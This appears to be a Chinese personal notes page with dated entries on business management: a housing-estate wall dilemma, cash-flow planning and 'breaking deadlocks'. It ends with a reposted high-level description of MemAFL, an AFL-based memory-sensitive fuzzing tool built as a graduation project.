例子: 有一个做房地产的朋友跟我说,他以前拍了一块地,开发了完全不同的两个档次的楼房,容积率不同,物业费不同,环境也不一样。为了便于销售,这位朋友修了一堵墙,把一块地分成了两个小区,这就破了当时销售的局。但过了几年,业主们要求环境要共享,占绿地少的,要求拆墙,但别墅区的业主交的物业费多,不同意拆墙,你说要不要拆呢?

拆和不拆的决策,其实都是为了冲出困局。但无论你怎么决策,后面都有一连串的问题等着你,形成新的困局,仍然要破。 那个老板是拆墙还是不拆墙,无论怎么选,都能冲出当下的困局,但马上就会陷入一个新的困局。

有的时候,新困局,就是冲旧困局时自己给自己做的局,要破自己给自己做的局就难了。所以,管理学要教给你的,不是权宜之计,而是要把眼光放长远,做事要像泰罗一样争取事半功倍。

9月21日

现金流确实非常的重要,但是这个和储蓄其实没多大的关系。主要是需要有计划,有A计划,也得有B计划。

创业很多时候,账期很坑,而且还会遇到很多付不出来的情况,这种就需要有B计划。保持可以维持公司半年以上的现金是最好的,这也是所谓的节奏感(类似水龙头入水,出水),但是国内的公司很难,很多大公司为了利用现金的效率,可能3个月都撑不到,这就导致了像疫情这种黑天鹅的事件时很艰难,没有任何大抵抗风险的能力。

精益创业,现在基本都是共识了,先投入少量资源去小步迭代,多去尝试。

破局与做局

局是你身边各种资源之间相互关联和互相作用的状态与关系。

正资源: 有些资源支持你,你可以支持的资源。

负资源: 有些资源阻挡你,不能为你所用

破局: 你做事,就是处于一个局中,想办法把负资源移开,让自己冲出去,就是破局。

做局: 故意给他人设置负资源,让他过不去或者必须按照你的意思,绕着弯走。

破局思维: 调整资源的性质,正变负,负变正,让你能够走得通。

三种破局思路:

1. 找无关资源,通过对正负资源和无关资源的整合,对负资源进行转化

2. 对资源进行重新定义,找到新的出路。

3. 重新定义自我,敢于把自己碎掉。 负资源打不破,但是有缝隙,可以钻出去。

9月22日

9月23日

9月24日

9月25日

9月26日

9月27日

9月28日

9月29日

9月30日

【转载】基于AFL改进的内存敏感的模糊测试工具MemAFL

原文:https://xz.aliyun.com/t/10023

项目地址

MemAFL:https://github.com/treebacker/MemAFL

简要介绍

一句话:属于本人的毕业设计实现的一个AFL改进的模糊测试工具,也是帮助本人第一次刷CVE的工具。

主要基于llvm做的插桩上的改进,改进的几个重点(改进代码都在mm_metric目录下)

  • 程序的预分析

    通过llvm在每一个module中分析字符串处理函数,对于strcmpstrcpystrcat等这种函数如果引用了常量字符串,那么说明这些字符串有影响程序控制流的可能,将保留作为种子因素,参与后续的种子变异中。

  • 内存敏感

    主要从两个方面,一个是指令级,会记录每一个种子程序的执行路径覆盖的mem-operation情况。

    另一个是函数级,对于敏感函数,如mallocfree等,会偏向于覆盖这些路径。

  • 路径覆盖

    基于插桩获取的信息,覆盖更多的路径,继承的AFL的策略,加上了内存敏感的路径覆盖。

    另外,也会记录路径中的子函数调用情况,优先选择调用子函数更频繁的种子。

  • 哈希碰撞率的缓解

    研究过AFL原理的应该记得,AFL使用的路径记录策略,当程序基本块量足够大时,会有很大概率的哈希碰撞情况。由于基于覆盖率的模糊测试依赖于路径,路径信息的错误使得后续很多策略都是受到误导的。

    缓解的思想如下图:

    在AFL中,这个函数会被插入三个BlockID,但是MemAFL只会插入一个BlockID。

    原因如下:

    函数的入口基本块,只要执行该函数就一定会执行完全该基本块,不存在去区分路径,所以就省去了插桩。

    对于函数退出基本块,如果是唯一的,那么也适用于这个道理。

    通过减少插桩点,对应的,需要记录的路径信息减少了,经过测试可以降低10%-20%的哈希碰撞率。

发现的CVE

​ 都是一些没什么利用价值的开源软件…,上图

最后

​ 其实总体上,做出的改进并不多,但是效果作为毕设我还是挺意外的,毕业证拿到了,想开源出来(被捶认了),欢迎师傅交流,一起学习漏洞挖掘漏洞利用啊!